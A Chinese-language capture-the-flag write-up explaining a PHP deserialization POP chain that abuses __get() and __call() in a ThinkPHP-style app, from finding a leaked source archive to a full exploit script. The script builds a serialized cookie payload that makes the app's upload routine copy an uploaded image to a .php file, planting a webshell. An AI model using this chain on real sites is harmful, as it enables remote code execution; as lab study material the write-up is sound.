pop链3之__get()和__call()魔术方法的使用

pop链3之__get()和__call()魔术方法的使用

魔术方法

1
2
3
__get():当对象调用不可访问的属性时被调用

__call():当对象调用不可访问的函数时被调用

我们打开页面,发现是注册和登录页面,所以我们在注册和登录时,随便尝试了sql注入闭合测试和二次注入,而对于二次注入的测试,可以注册时构造

1
username=0'and'1

然后在登陆时,使用这个username,发现回显页面仍然是0’and’1,所以不存在二次注入,也不存在sql注入,所以此时我们可以使用dirsearch扫描目录,发现

1
www.tar.gz

文件泄露,所以我们下载www.tar.gz文件后,解压,然后审计源码,我们可以先从控制前端输入值的代码开始审计起,即在

1
/application/web/controller

目录下的文件,我们可以查看Profile.php文件中对于上传文件处理的那一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

从这串代码中,我们可知

1
2
3
4
5
6
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

当我们上传文件时,会先检查登录的账号和密码,是否正确,如果正确,才会进行下一步

1
2
3
4
5
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

此时会将上传的文件名存储在$this->filename_tmp变量中,然后再对上传文件名进行md5加密,并加上.png后缀,然后存储在$this->filename中,然后进行一步

1
2
3
4
5
6
7
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}

如果此时$this->filename中的文件后缀为png的话,则会判断$this->filename_tmp的尺寸,然后将$this->filename覆盖到$this->filename_tmp中,并删除$this->filename_tmp的变量的值,并将此文件存储在/upload/$this->upload_menu/$this->filename中

但是我们在login.php文件中的login_check会将cookie中的user参数的值进行base64解密,并反序列化

而这道题的过滤点在于,它会将上传的任何文件都变为.png后缀,所以我们可以想办法利用profile.php文件中的upload_img()函数中的copy函数对原来上传的文件名(加后缀)进行覆盖,并将原来文件的内容复制到覆盖后的文件中,从而绕过.png后缀这个过滤点,因此我们需要构造一条pop来链

我们看向profile.php文件中的两个魔术方法,

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

而但对于魔术方法__call(),要对象调用不可访问的函数才可以被调用,所以可以利用register.php文件中的

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

我们只需将$this->checker设置为new Profile(),即可触发__call()魔术方法,而__call()魔术方法中的

1
$this->{$name}

则会触发__get()魔术方法,而将$this->except=array[“index”=>”upload_img”],则可以利用return $this->except[$name]调用upload_img()函数,从而实现覆盖,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace app\web\controller;


class Profile
{
public $checker=0; //绕过upload_tmp()函数的第一个if
public $filename_tmp="./upload/93df0602d768e80cec04f22bc0fb368d/432958539d6bd005179f8a48cb4ef719.png";
public $filename="upload/penson.php";
public $upload_menu;
public $ext=1; //绕过第二个if
public $img;
public $except=array("index"=>"upload_img");

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

}

class Register{
public $checker;
public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker=0;//调用pop链防止退出程序
echo base64_encode(serialize($a));
?>

然后我们只要抓包,然后将这个生成的值放入cookie的参数user中即可

参考文章:[https://blog.csdn.net/mochu7777777/article/details/105131257]